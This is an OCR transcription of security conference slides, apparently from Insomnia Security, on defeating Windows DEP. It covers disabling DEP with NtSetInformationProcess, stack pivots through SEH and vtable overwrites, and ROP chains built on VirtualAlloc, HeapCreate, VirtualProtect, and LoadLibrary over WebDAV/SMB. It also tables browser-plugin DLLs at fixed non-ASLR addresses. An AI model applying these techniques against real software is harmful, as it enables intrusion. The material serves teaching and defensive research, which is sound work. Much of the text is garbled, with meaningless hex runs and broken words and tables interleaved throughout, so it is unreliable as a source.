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Bypassing DEP is not new
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Bypassing DEP is not new
»‘ret2libc’ DEP bypass
»before DEP was even implemented natively in Windows

http://packetstormsecurity.org/0311-exploits/rpclexec.c

Released in 2003

» NtAllocateVirtualMemory()
* Memcpy()

* NtProtectVirtualMemory()
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Still most public exploits do not bypass DEP
»Largely because of default desktop DEP settings
> Enable DEP will prevent the majority of public exploits

This is changing
*With the current release of methods and techniques
*Soon most exploits will bypass DEP

So... Does DEP Work?
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Data Execution Prevention

» Prevents the execution of code from pages of memory that
are not explicitly marked as executable

» Enforced by hardware

» Attempts to run code from a non executable page result in a
STATUS_ACCESS_VIOLATION exception

What does it protect?
*DEP is always enabled for 64-bit native programs.
= Configuration specifies if DEP is enabled for 32-bit
programs.
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Performance Options @

| Visual Effects | Advanced | Data Execution Prevention

Opt-In
* Process must explicitly decide to
enabled DEP T o e s over

O t_o t (@) Turn on DEP for essential Windows programs and services
p u only
1 Turn on DEP for all programs and services except those I

= Every process is protected unless|| e
explicitly decides to disable DEP

Always On
= All process are always protected
and can’t be disabled

Always Off :
?K D isable D E P for eve ryth i ng Your computer's processor supports hardware-based DEP.

I

move

K ] [ Cancel Apply
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o XP 2003 Vista Vista 2008
SP2, SP3 SP1,SP2 SPO SP1 SPO

GS

stack cookies yes yes yes yes yes

variable reordering yes yes yes yes yes

#pragma strict_gs_check no no no yes ! yes !
SafeSEH

SEH handler validation yes yes yes yes yes

SEH chain validation no no no yes ? yes

Heap protection

safe unlinking yes yes yes yes yes
safe lookaside lists no no yes yes yes
heap metadata cookies yes yes yes yes yes
heap metadata encryption no no yes yes yes
DEP
NX support yes yes yes yes yes
permanent DEP no no no yes yes
OptOut mode by default no yes no no yes
ASLR
PEB, TEB yes yes yes yes yes
heap no no yes yes yes
stack no no yes yes yes
images no no yes yes yes
' only some components, most notably the AVI and PNG parsers Alexander Sotirov
? undocumented, disabled by default Mark Dowd
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XP 2003
SP2,SP3  SP1, SP2

DEP Support yes yes yes yes yes yes

Permanent DEP no no no yes yes yes
Default OptOut no yes no no yes no
Default AlwaysOn no no no no no no

N

That's alot of no

If DEP Is Not Enabled, Then There Is Nothing To Defeat
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/INXCOMPAT
»Linker option use to specify that this process wants DEP

SetProcessDEPPolicy()
» Called by process to Opt In/Out and set permanent DEP

Uses Permanent DEP?
» SetProcessDEPPolicy(PROCESS_DEP_ENABLE)
DEP setting can not be changed after this call

IE 7 IE 8 FF 3 Safari 5

Permanent DEP no yes yes yes

Independent of OS settings




Disable DEP
» Essentially this is Opt Out for a process

NtSetinformationProcess()
» Skape and Skywing ret-to-libc to deactivate DEP

SetProcessDEPPolicy()

N NtSetInformationProcess(
»On XP SP3 and later NtCurrentProcess(), // (HANDLE)-1

ProcessExecuteFlags, // 0x22

Will not work against &ExecuteFlags, // ptr to 0x2
*/AlwaysOn sizeof(ExecuteFlags)); // 0x4

* Permanent DEP
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From Now On Lets Just Assume /AlwaysOn Permanent DEP Is Enabled
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Bypass DEP
» Allocate executable memory to contain shellcode

Various very clever browser attacks

Attack Defense

.Net User Control DEP Bypass Internet Explorer 8
Actionscript Heap Spray Flash 10 (DEP/ASLR)
Java Heap Spray No longer RWX

JIT-Spray Flash 10.1. pages with
code are encrypted

See the AWESOME work released at XCon2010
Defeat Win 7 Browser Protection - XCon2010_win7
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Bypass DEP with ret2libc

oo o0 54
FE LD C3
tJg a3
5 04 C7
33 F6 33

k8 76 00
8B FF 89
64 24 C4
04 24 07
FF FF 74

as
a9
04
89
74

o0 5D 49 00
5C 24 08 E9
89 50 0C C7
41 0C 83 61
24 20 FF 74

* Use executable instructions from other dlls

»Return Orientated Prog

B EC g3 EC 50
94 FD FF 8D A4
24 07 00 01 00
00 8E 45 08 83
20 FF 74 24 20

»Use executable instructions from the application

g9 44 24 0OC
24 00 00 00
8B CC 64 01
£1 08 00 89
FF 74 24 20

You need to write your slides, like you tweet.
Less than 140 chars per page (yep, it's hard)

_________________________-INSOM%____________________

64
oo
51
01
E8

oo
0o 8
EE D
010
0o s




1 FF FF 83 C4 EC 89 04
TC7 44 24 08 00 00 00
24 08 CD 2E C3 90 55
%0 FC FF FF 54 Ef 16
T FF CC 90 BA 4D 10

24 C7
oo C7
8B EC

44 04
EINNFIE A
01 00

[
1C 77 EB 08

CLSID
* Reference to .dlls
*Loaded in IE

Some Of These Are Not
ASLR/DEP Aware

44 24 04 01 00 OO0
10 00 00 on
To FDET
4 C4 01
90 Ba 74 10

C:\Windows\System32\

/%Tacardapi.dll

oa
no
FF
ng
1C

89 sC
t1 ER
4 Et
00 0
77 8D

24 08
2g nn
5‘ ARl
o7, ar

09 53

Cc7 44 24 10 00 00 OO 00 54 E5 76 00 OO0 OO C2 0% 00 8D 439 00 55 8B EC &3 EC 50
(nonp 9P 04 74 8B W& 5D 7 BE FF 89 44 24 04 89 5C 24 08 E9 71 94 FD FF 8D A4
(108,55 Mg 8B !5 08 gt 20 7%/ "0 0 1004 89 50 0CC7 042407 000100
4D re L0, RROLE 0407 04 20 4 02 00 89 41 0C B3 61 10 00 8B 45 08 83
56 57 33 CO 33 DB 33 F6 33 FT F.0 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20

ﬁ Registry Editor

g9 44 24 0OC B4
24 00 00 0O 00
8B CC 64 01 51
£1 08 00 89 01
FF 74 24 20 EB

——

File Edit Wiew Favorites Help

4+ CLSID

» . | {00000000-6E41-4FD3-8538-502F5495E5FC)
b - {0000002F-0000-0000-C000-000000000045}
» . | {00000100-0000-0010-8000-00AADDGD2EA4}
» . | {00000101-0000-0010-8000-00AAD0GD2EA4}
» . | {00000103-0000-0010-8000-00AAD0GD2EA4}
» . | {00000104-0000-0010-8000-00AAD0GD2EA4}
» . | {00000105-0000-0010-8000-00AAD0GD2EA4}
» . | {00000106-0000-0010-8000-00AADDGD2EAS}
b - {00000107-0000-0010-8000-00AA00602EA4 }
» . | {00000108-0000-0010-8000-00AADDGD2EA4}
» . | {00000109-0000-0010-8000-00AADDGD2EA4}
» . | {00000300-0000-0000-C000-000000000046}
» . | {00000301-ABF2-4877-BAOA-FD2B6645FE04}
» . | {00000303-0000-0000-C000-000000000046}
» . | {00000304-0000-0000-C000-000000000046}
b - {00000205-0000-0000-C000-000000000045}
» . | {00000306-0000-0000-C000-000000000046}
» . | {00000308-0000-0000-C000-000000000046}
» . | {00000309-0000-0000-C000-000000000046}
» . | {0000030B-0000-0000-CO00-000000000046}
» . | {00000315-0000-0000-C000-000000000046}
» . | {00000316-0000-0000-C000-000000000046}
b - {00000219-0000-0000-C000-000000000045}
» . | {0000031A-0000-0000-CO00-000000000046}
» . | {0000031D-0000-0000-CO00-000000000046}
» . | {00000320-0000-0000-C000-000000000046}
» . | {00000327-0000-0000-C000-000000000046}
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Computer, HKEY CLASSES ROOTCLSID

oo
0o 8
EE D
010
0o s




-

Manage Add-ons

1 FF FF 83 C4 EC 89 04 24 C7 44 24 04 01 00 00 OO 89 5C 24 08 C7 44 24 10 00 00 OO 00 54 k3 76 OO OO0 OO €2
TC7 44 24 08 00 00 00 00 C7 44 24 10 00 00 00 00 54 E8 39 00 00 00 BB 04 24 8B ES 5D C3 BB FF 89 44 24 04
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as
a9
04
89
74

00 5D 49 00 55 8B EC o3 BC 50 99 44 24 0C
5C 24 08 E9 71 94 FD FF 8D A4 24 00 00 00
89 50 0C C7 04 24 07 00 01 00 8B CC 64 01
41 0C 83 61 10 00 8B 45 08 83 61 08 00 89
24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20

—

64 Al
0o 8D
51 FF
01 c7
Eg 08

24
0s
04
oo

o oo o

0o 8
EE D
010
0o s

Add-on Types

@Ecceleratc rs

Show:

& Toolbars and Extensions

):.;' Search Providers

#5 InPrivate Filtering

View and manage your Internet Explorer add-ons

Marmne Publisher Status
AppleInc.
QuickTime Object AppleInc, Enabled
QuickTime Object AppleInc, Enabled
Behavior Object AppleInc, Enabled
iTunesDetector Class AppleInc, Enabled
Microsoft Corporation
Microsoft Office Ternplate and Media Control Microsoft Corporation Enabled
5T5Upld UploadCtl Class Microsoft Corporation Enabled
Groove DocumentShareView Microsoft Corporation Enabled
InformationCardSigninHelper Class Microsoft Corporation Enabled
AML DOM Document Microsoft Corporation Enabled
X5L Ternplate Microsoft Corporation Enabled

HtmlDlg5afeHelper Class

[Run without permission v] <]

Tabular Data Control

Will Toa

Microsoft Co

Infocardapl.

File date

9,/09,/2010 2:01 p.m.
9,/09,/2010 2:01 p.m.
9,/09,/2010 2:01 p.m.

24,/08/2010 2:10 a.m.

25/10/2008 6:18 a.m.

26/10/2006 7:50 p....

14/02/2009 6:03 a.m.

14/07/2009 2:15 p....

8/06/2010 7:02 p.m.

8/06/2010 7:02 p.m.

Yersion

QuickTime...
QuickTime...
QuickTime...

2011

12.0.6413.0

12.045181..

4.2.2.2807

8.110.7600....
8.110.7600....

Load tin

InformationCardSigninHelper Class

tion

Is safe to run

_________________________-INSOM%_________________---
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o

Use the stack to control flow
* Function address
* Parameters

i STACK 5
| RETURN ADDRESS1 !
5 PARAM1 5
5 PARAM?2 5

INSOM

as
a9
04
89
74

00 5D 49 00 55 8B EC o3 BC 50 99 44 24 0C
5C 24 08 E9 71 94 FD FF 8D A4 24 00 00 00
89 50 0C C7 04 24 07 00 01 00 8B CC 64 01
41 0C 83 61 10 00 8B 45 08 83 61 08 00 89
24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20

Overwrite RET
directly

64
oo
51
01
E8

oo
0o 8
EE D
010
0o s
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EIP through SEH overwrite e R
»Well known technique ESP when 4\7 i i
»No more pop,pop, ret D Er cElle SR e
+ Other pointers to SEH record oo e i

:ESP|+8 14 | +1C +2C +44 +50§ | :

I 1 1
Fr=—=—=-- 'I'""I' """ 1' """"""""""" 1 | e 1

"EBP | +C | +24 | 430 | -04 | -OC | -18 | : |

Point ESP to our buffer — — i
' ADD ESP### i
' RETN i

e - - - == == ===

- IVIOV ECX,[EBP+0C]

M
: CALL [ECX]

____________________________ directly
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T FF CC 90 BA 4D 10 1C 77 EBE 08 90 Ba 74 10 1C 77 8D 09 53 56 57 .2 C0 33 DB 33 F6 33 FF FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 E8 08 00 00 00 5

EIP through vTable overwrite
» Common in browser exploits

W&M&L
Application function call

| I
|
|
|

MOV EAX,[ESI]
' CALL EAX

\) | XXXXXXXX i
ESI points J }

Need to control the stack TV |

FrETSTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTTT T T I
|
I

| PUSH ECX

' POP ESP i
(RETN | Exploit points vTable to here




'1 FF FF B3 C4 EC 89 04 24 CV 44 24 04 01 00 00 00 89 5C 24 08 C7 44 24 10 00 00 00 00 54 ES8 76 00 00 OO C2 08 00 8D 43 00 55 8B EC 83 EC 50 89 44 24 0C

Now we are in control of the stack
» Controls execution flow into existing code blocks
*Not executing any shellcode yet

Find out where we are
*Need to know our ESP address, for local addressing

:PUSHESP i
' POP EAX i

64 A1 18 OO
TC7 44 24 08 00 00 00 00 C7 44 24 10 0n 00 00 DD 54 ES 3% 00 00 00 °= 24 24 §B FC 50 C3 BB F 89 44 24 04 89 5C 24 08 E9 71 94 FD FF 8D A4 24 00 00 00 00 8D 64 24 00 8
24 08 CD 2E C3 90 55 8B EC 8D &4 24 "0 T J F :C ? D ? U 8 E 9 ?B IE E; o 3{ . C4 00000004 89500CC7 042407 0001008BCCe6E401G51FF7508EBD
%0 FC FF FF 54 Ef 16 01 00 00 83 84 -t _« 0 ‘07 00 01 00 89 41 0C 83 61 10 00 8B 45 08 83 61 08 00 89 01 C7 41 04 01 0
T FF CC 90 BA 4D 10 1C 77 EBE 08 90 Bi 74 10 1C 77 BD 09 53 5 7 33 CD 33 DB 33 FB 33 FF FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 E8 09 00 00 00 &




'1 F¢ FF B3 C4 EC 89 04 24 CV 44 24 04 01 00 00 00 8% 5C 24 08 C7 44 24 10 00 00 00 00 54 E8 76 00 00 OO C2 08 00 8D 43 00 55 5B EC 83 EC 50 89 44 24 0C 64 A1 18 OO OO O
TC7 44 24 08 00 00 00 00 C7 44 24 10 00 00 00 00 B4 E2 28 nn OQ " BB 04 24 8B ES 5D C3 BB FF 89 44 24 04 89 5C 24 08 E9 71 94 FD FF 8D A4 24 00 00 00 00 38D 64 24 00 8
24 08 CD 2E C3 90 55 8B EC 8D A4 24 30 FD FF FF '4 ¢ ? “1 DU BT C €545 08 83 8424 C4 00000004 89 500CC7 042407 0001 008BCC64&0LGSLEFF7508ERD

%0 FC FF FF 54 EB 16 01 00 00 83 84 24 C4 00 00 1N 44 L % 4n 04 C7 04 24 07 00 01 00 89 41 0C 83 61 10 00 8B 45 08 83 61 08 00 89 01 C7 41 04 01 0
T FF CC 90 BA 4D 10 1C 77 EBE 08 90 Bi 74 10 1C 77 8D 09 53 56 57 oE] 0 33 DB 33 F6 33 FF FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 E8 09 00 00 00 &

The easy way
= Use LoadLibrary() to retrieve DLL over webdav/smb
*DLL is loaded into memory and executed
*No memory protection changes required

Points to our
ring

Return to here

LEA EAX,DWORD PTR SS:[ESP+40] i
PUSH EAX i

! CALL DWORD PTR DS:[<&KERNEL32.LoadLibrary>]

________________________________________________________




1 FF FF 83 C4 EC 8% 04 24 C7 44 24 04 01 00 00 OO 89 5C 24 08 C7 44 24 10 00 00 OO 00 54 k8 76 OO OO OO0 €2 08 00 8D 49 00 55 8B EC 83 EC 50 89 44 24 0C 64 Al
TC7 44 24 08 00 00 00 00 C7 44 24 10 00 00 00 00 54 E8 39 00 00 "D BB 04 24 8B ES5 FD C3 BB FF 89 44 24 04 89 5C 24 08 E9 71 9A FD FF 8D A4 24 00 00 00 00 8D
24 08 CD 2E C3 90 55 8B EC 8D A4 24 30 FD FF FF °' 7o C5 (L 0 00 JF 78 U4 P 40 0 83 84 24 C4 00 00 00 04 89 50 0C C7 04 24 07 00 01 00 8B CC 64 01 51 FF
%0 FC FF FF 54 E& 16 01 00 00 83 84 24 C4 00 00 OC 4 "o €7 20 Ty 00 2 /0 v 48 0. C7 04 24 07 00 01 00 89 41 OC 83 61 10 00 8E 45 08 83 61 08 00 89 01 C7
T FF CC 90 BA 4D 10 1C 77 EB 08 90 Ba 74 10 1C 77 8D 09 £3 56 57 33 CO 33 DB 33 Fo 33 FF FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 E8 08

Create an executable heap to use

» HeapCreate(HEAP_CREATE_ENABLE_EXECUTE)
» HeapAlloc()

* Memcpy

»* Return to buffer

FindSelf :
HeapCreate() . e
HeapAlloc() S

Copy l

Ret :

ShellCodez L . [

_________________________-INSOM%_____________________..-

oo
0o 8
EE D
010
0o s



1 F¢ FF B3 C4 EC 89 04 24 CV 44 24 04 01 00 00 00 8% 5C 24 08 C7 44 24 10 00 00 00 00 54 E8 76 00 00 OO C2 08 00 8D 43 00 55 5B EC 83 EC 50 89 44 24 0C 64 A1 18 OO OO O
TC7 44 24 08 00 00 00 00 C7 44 24 10 00 DD DD O0n L4 E8 39 00 00 00 8B D 24 8B ES 5D C3 BB FF 89 44 24 04 89 5C 24 08 E9 71 94 FD FF 8D A4 24 00 00 00 00 8D 64 24 00 8
24 08 CD 2E C3 90 55 8B EC 8D & 7 DC IE 54 FZ 5 7 CC U t9 ]‘ "L : F, u\ 91 :4 T 07000004 8950 0CC7 042407 0001 008BCC64&0LGSLFF7508ERD

%0 FC FF FF 54 Ef 16 01 00 00 & "t '7.0) 010089 41 0C 83 61 10 00 8B 45 08 83 61 08 00 89 01 C7 41 04 01 0
T FF CC 90 BA 4D 10 1C 77 EB 08 90 BA ?4 D 1C 77 8D 09 53 56 5 3 C 33 DB 3 FB 33 FF FF 74 14 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 EB 09 00 00 00 &

Create an executable heap to use

» HeapCreate(HEAP_CREATE_ENABLE_EXECUTE)
»*|ncrease Returned Heap Ptr

* Memcpy

»* Return to buffer

Pointer Returned Fro S ;
HeapCreate() | .

Increase Pointer To Valh . .
Heap Space S EGEGROTETEEEEL T RET |




1 FF FF 83 C4 EC 89 04 24 C7 44 24 04 01 0O 00 OO 89 5C 24 08 C7 44 24 10 00 00 0O 00 =4 E8 76 OO OO0 OO0 €2 O 00D =D 43 00 55 8B EC 83 BC 50 99 44 24 0C w4 A1 18 00 OO0 O
TC7 44 24 08 00 00 00 00 C7 44 24 10 00 00 00 0O 54 =9 39 00 00 r0 9B 04 24 8B EC 5D C3 BB FF 89 44 24 04 89 5C 24 08 E9 71 94 FD FF 8D A4 24 (00 00 00 00 8D 64 24 00 8
24 08 CD 2E C3 90 55 8B EC 8D 44 24 30 FD FF FF .4 E7 5. 71 To (D 63 30 o 00 45 18 83 64 24 C4 00 00 00 04 89 50 0CC7 04 24 07 00 01 00 8B CC 64 01 51 FF 75 08 EB D
%0 FC FF FF 54 E& 16 01 00 00 83 84 24 C4 00 00 0 0O} 8 ¥ 2 IC u. )1 0/ 9F .5 Jj4 C7 04 24 07 00 01 00 89 41 0C B3 61 10 00 8B 45 08 83 61 08 00 89 01 C7 41 04 01 0
T FF CC 90 BA 4D 10 1C 77 EBE 08 90 Ba 74 10 1C 77 8D 09 53 56 57 33 C0 33 DB 3. F6 33 FF FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 E8 08 00 00 00 5

Allocate executable memory

» VirtualAlloc(NULL,size,PAGE_EXECUTE_READWRITE)
* Memcpy

» Ret to buffer

i Alloc’d Space
FindSelf | Shellcodez i
VirtualAlloc() S

Copy :' """""""""""""""" }

Ret ir ___________________________ i
Shellcodez : :




1 FF FF 83 C4 EC 89 04 24 C7 44 24 04 01 00 00 OO0 89 SC 24 08 C7 44 24 10 00 00 OO 0O 54 k3 76 OO OO0 OO €2 08 00 8D 49 00 55 8B EC 83 EC 50 83 44 J4 OC &4
TC7 44 24 08 00 00 00 00 C7 44 24 10 00 00 00 0O 54 €3 29 00 00 02 BB N4 24 8B ES 5D C3 BB FF 29 44 24 04 89 5C 24 08 E9 71 94 FD FF 8D A4 24 00 00 00 00
24 08 CD 2E C3 90 55 8B EC 8D A4 24 70 20 FT T0 34 .78 12 01 00 U0 BB 3% 7w o8B 25 o0 70 72 04 01 00 00 00 04 89 50 0C C7 04 24 07 00 01 00 8B CC 64 01 51
%0 FC FF FF 54 Ef 16 01 00 00 83 v . ;4 Ct o0 ar ). ut (L P2 20 90 02 00 10 €3 4,0 47 J« 74 M7 10 01 00 89 41 0C B3 61 10 00 8B 45 08 83 61 08 00 89 01
T FF CC 90 BA 4D 10 1C 77 EBE 08 90 Ba 74 10 1C 77 8D 09 53 56 57 33 .0 33 DB 33 F6 33 FF FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 E8

Allocate executable memory

E)
* Ret to self

»VirtualAlloc(findself(),size, PAGE_EXECUTE_READWRIT

When Committing Memory, VirtualAlloc() Will Modify The Protection Type Of
Existing Memory Pages

oo
0o 8
EE D
010
0o s




1 F¢ FF B3 C4 EC 89 04 24 CV 44 24 04 01 00 00 00 8% 5C 24 08 C7 44 24 10 00 00 00 00 54 E8 76 00 00 OO C2 08 00 8D 43 00 55 5B EC 83 EC 50 89 44 24 0C 64 A1 18 OO OO O
TC7 44 24 08 00 00 00 00 C7 44 24 10 00 DD DD 00 54 E? 29 00 OP DD BE n4 24 8B ES FD 3 BB FF £9 44 24 04 89 5C 24 08 E9 71 94 FD FF 8D A4 24 00 00 00 00 8D 64 24 00 8
24 08 CD 2E C3 90 55 8B EC 8D M 2 ?' L r S E ‘3 Ji ﬂ o .L ‘F C, 45 J Q fx ?; Cﬂ FQ 00 00 04 89 50 0C C7 04 24 07 00 01 00 8B CC 64 01 51 FF 75 08 EB D

%0 FC FF FF 54 E& 16 01 00 00 ¢, a Cu 01 0089 41 0C 83 61 10 00 8B 45 08 83 61 08 00 89 01 C7 41 04 01 0
T FF CC 90 BA 4D 10 1C 77 EB 08 90 BA ?4 10 1C /7 BD 09 53 56 57 33 CD 33 DB 33 FB 33 FF FF ?4 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 EB 08 00 00 00 &

VirtualProtect(PAGE_EXECUTE_READWRITE)
»Pass the address of payload

= Update to make memory executable

* Execute it

WriteProcessMemory()

= Write payload to existing executable memory
»Can be at the end of WriteProcessMemory()
= Payload executed

WriteProcessMemory() Will Modify The Protection Type Of
Existing Memory Pages To Be Writeable




1 FF FF 83 C4 EC 89 04 24 C7 44 24 04 01 0O 00 OO 89 5C 24 08 C7 44 24 10 00 00 0O 00 =4 E8 76 OO OO0 OO0 €2 O 00D =D 43 00 55 8B EC 83 BC 50 99 44 24 0C w4 A1 18 00 OO0 O
TC7 44 24 08 00 00 00 00 C7 44 24 10 00 00 00 0O 54 F8 39 00 00 On 8P N4 24 8P ES 5D C3 BB FF 89 44 24 04 89 5C 24 08 E9 71 94 FD FF 8D A4 24 00 00 00 00 8D 64 24 00 8
24 08 CD 2E C3 90 55 8B EC 8D A4 24 30 FD FF FF 54 .0 5% o0 S0 008 58 74 0T .F 2883 64 24 C4 00000004 89500CC7 0424070001 008BCCEG640LGSLFF7508ERD
%0 FC FF FF 54 E& 16 01 00 00 83 84 24 C4 00 00 0P (4 8y 8 24 " Y W /L P2 'C 4 C7 04 24 07 00 01 00 89 41 0C B3 61 10 00 8B 45 08 83 61 08 00 89 01 C7 41 04 01 0
T FF CC 90 BA 4D 10 1C 77 EBE 08 90 Ba 74 10 1C 77 8D 09 53 56 57 33 C0 33 DB 33 F6 33 FF FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 E8 08 00 00 00 5

CreateFileMapping()
» CreateFileMapping(-1,0,
PAGE_EXECUTE_READWRITE)
» MapViewOfFile()
\*LMemey() reates A New Méemory Backed Map Of The
*Ret Existing Process

Others
*»System()
*WinExec()
» Etc..

So... Does DEP Work?




1FFFFBSC4EC890424C?442404DlIJIJI]I]IJIJB95C24IJBC?44241I]IIIIJDDDUDDS4EBTBDDDDDDC2DSDDSD4900558BEC83EC50894424DC64A11800DDD
TC7 44 24 08 00 00 00 00 C7 44 24 ].DDDDIJ"II]"'""MFQ’490“Ell]l]l"DED424BBE55DC3BBFF894424 04 89 5C 24 08 E9 71 94 FD FF 8D A4 24 00 00 00 00 8D 64 24 00 8
2408CD2EC390558BEC8DA42430FDxF"'“ 4E T30 o000 2358 M TP o0 %o oot 24 C40000000483500CC7 042407 0001008BCC64A01CLFF7508ED
%0 FC FF FF 54 Ef 16 01 00 00 83 84 24 C/ 0" "ll"ll'l[lxDEZZID[“ Ou 70 &% v w7 v} 2407 00 01 00 89 41 0C 83 61 10 00 8B 45 08 83 61 08 00 89 01 C7 41 04 01 0
FFFCCQDBA4D101C??EEDB90BA?41I]1C??8DI]953565?33CI]33DB33F633FFFF74242DFF?4242DFF?4242DFF?42420FF?4242DESDEDDDDDDS

ROP requires known addresses
*ASLR is a problem, only if it is enabled for everything
»*coff* Adobe

Firefox 3.6.3

(0N DLL Address?
Vista Nspr4.dll 4.8.3 0x10000000
Windows 7 Nspr4.dll 4.8.3 0x10000000

Safari 5

OS DLL Address?
Vista libdispatch.dll 1.109..4.1 0x10000000
Windows 7 libdispatch.dll 1.109..4.1 0x10000000




'1 FE FEF B3 C4 EC 89 04 24 C7 44 24 04 01
TC7 44 24 08 00 00 00 00 C7 44 24 10 nA DD oo
24 08 CD 2E C3 90 55 8B EC 8D A4 24 27

%0 FC FF FF 54 E8 16 01 00 00 83 84 4

/Shockwave anyone

Browser

OS

go oo o0 83 5C 24 08 C7 44 24 10 00 00 00 00 54 ES 76 00 00 OO C2 08
nn L4 E3 39 00 Dn N0 BB 04 24 8B ES 5D C3 BB FF 389 44 24 04 89 5C 24 08 E9 71 94 FD FF 2D A4 24 00 00 00 00 8D 64 24 00 3

VEFF FF 0Oy FT 57 1 U UP JE : U 9 1? P 3 1 2. C4 00000004 89500CC7 042407 0001009BCCe6e40151FF7508E8D

C4 00 00

00 80 49 00 55 8B EC 83 BC 50 899 44 24 0C w4 A1 18 00

oo

wrd L F2 21 07 00 01 00 89 41 0C 83 61 10 00 8E 45 08 83 61 08 00 89 01 C7 41 04 01 0
T FF CC 90 BA 4D 10 1C 77 EBE 08 90 B 74 10 1C 77 8D 0° 53 56 5? 33 CD 33 DB 33 FS 33 FF FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 EB 08 00 00 00 5

DLL

Address?

IE 7

IES

Vista

Windows 7

DIRAPI.dII 11.5.7r609
IML32.dll 11.5.7r609
SWDir.dll 11.5.7r609
DIRAPI.dII 11.5.7r609
IML32.dll 11.5.7r609
SWDir.dll 11.5.7r609

0x68000000
0x69000000
0x69200000
0x68000000
0x69000000
0x69200000

Browser
|E 7

IE8

(ON)
Vista

Windows 7

DLL

deploylJaval.dli
MSVCR71.dll 7.10.3052.4
deploylJaval.dli
MSVCR71.dIl 7.10.3052.4

Address?

0x10000000
0x7c340000
0x10000000
0x7c340000




1 FF FF 83 C4 EC 83
TC7 44 24 08 00 00
24 08 CD 2E C3 90
%0 FC FF FF 54 E8
T FF CC 90 BA 4D

04 24 C7 44 24 04
00 00 C7 44 24
55 8B EC 8D A4
16 01 00 00 83
10 1C 77 EB 08

gl 00 00 oo
0o 00 or nq
30 FD F1 &%
24 C4 01 NN
Ba 74 10 1C

89 sC
t4 E8
£ ”

cn,
77 8D

10
24
84
90

Application

24 08 C7 44
00 00 o0
Ga fo Mo PTOSE
3¢ 4 pu L2 00
53 56 57 33 C0

24 10
8B 04 24 85 ES
04 85 47
n g3t
33 DB 33

oo oo oo oo

24 k8 76 00
5D C3 8B FF 89
) 84 24 C4
(7 04 24 07
F& 33 FF FF 74

DEP
(XP)

o0 8D
5C 24
89 50
41 0C
24 20

C2 08
a9
04
89
74

Full
ASLR

Flash Player N/A N/A YES
Sun Java JRE no no no
Adobe Reader YES* YES* no
Mozilla Firefox YES YES no
Apple Quicktime no no no
VLC Media Player no no no
Apple iTunes YES no no
Google Chrome YES YES YES
Shockwave Player N/A N/A no
OpenOffice.org no no no
Google Picasa no no no
Foxit Reader no no no
Opera YES YES no
Winamp no no no
RealPlayer no no no
Apple Safari YES YES no

DEP & ASLR (June 2010)

Secunia: DEP & ASLR In Popular 3rd party applications.PDF

43 00
08 E9
oc c7
83 61
FF 74

gB EC 83 EC S0
94 FD FF 8D A4
24 07 00 01 00
00 8E 45 08 83
20 FF 74 24 20

g9 44 24 0OC B4
24 00 00 0O 00
8B CC 64 01 51
£1 08 00 89 01
FF 74 24 20 EB

Al

2D 64

FF 75

c7
0g

oo

24
0s
04
oo

o oo o

0o 8
EE D
010
0o s




1 FF FF 83 C4 EC 89 04 24 C7 44 24 04 01 0O 00 OO 89 5C 24 08 C7 44 24 10 00 00 0O 00 =4 E8 76 OO OO0 OO0 €2 O 00D =D 43 00 55 8B EC 83 BC 50 99 44 24 0C w4 A1 18 00 OO0 O
TC7 44 24 08 00 00 00 00 C7 44 24 10 00 00 00 0O 54 E8 39 00 00 N0 BB M4 24 8B ES 5D C3 BB FF 89 44 24 04 89 5C 24 08 E9 71 94 FD FF 8D A4 24 00 00 00 00 8D 64 24 00 8

24 08 CD 2E C3 90 55 8B EC 8D A4 24 30 FD FF FF 54 E8 53 0. 0L 7 8B 55 04 8B 45 08 83 64 24 C4 00 00 00 04 89 50 0C C7 04 24 07 00 01 00 8B CC 64 01 51 FF 75 08 EB D
%0 FC FF FF 54 E& 16 01 00 00 83 84 24 C4 00 00 00 04 8D ' . TJ N2 00 00 8B 45 04 C7 04 24 07 00 01 00 89 41 0C 83 61 10 00 8B 45 08 83 61 08 00 89 01 C7 41 04 01 0
T FF CC 90 BA 4D 10 1C 77 EBE 08 90 Ba 74 10 1C 77 8D 09 53 56 57 33 C0 33 DB 33 F6 33 FF FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 E8 08 00 00 00 5

ROP needs only one address
»Can use LoadLibrary() to load other DLLS
» Can use lookups to reference other DLLS

MOV DWORD PTR DS:[ESI],EDI
PUSH ESI

MOV DWORD PTR DS:[ESI],EDI ]
PUSH ESI ]
CALL DWORD PTR DS:[6F62C8] ]




1 FE FF B3 C4 EC 89 04 24 CV 44 24 04 01 00 00 0O 83 5C 24 08 C7
T C7 44 24 08 00 00 00 A0 C7 44 24 10 00 00 90 00 54 E8 35 N0 00

24 10 00 00 00 00 54 E3 76 OO OO OO0 €2 08 00 S0 49 00 55 8B EC 83 EC 50 899 44 24 0C w4 A1 18 00 OO0 O
8B ﬂ4 24 9B ES tn C3 BB FF 89 44 724 04 89 5C 24 08 E9 71 94 FD FF 8D A4 24 00 00 00 00 8D 64 24 00 8
J4olm4g ne T o e 7“ M0489500CC7 042407 00010089BCCeEA0LS51FF 75 08ERD

24 08 CD 2E C3 90 55 B .0C L 7+ 24 3V ZD SR FT ST W T3 0L
%0 FC FF FF 54 E8 16 \1 Jorg s E1 20040000 00 L (DT 2 LTt Sﬂ 45 ng 7 n 5 PR ' 59 41 0C 83 61 10 00 8B 45 08 83 61 08 00 89 01 C7 41 04 01 0
T FF CC 90 BA 4D 10 1C 77 EBE 08 90 Bi 74 10 1C 77 8L 09 53 56 57 33 CO0 33

L 33 F6 33 FF FF 74 24 2U FF 74 24 20 FF 74 24 20 FF 74 24 20 FF 74 24 20 E8 08 00 00 00 5

Heap Management

Heap structure flags . Address : Value Description

- 00360000 - ' Base Address

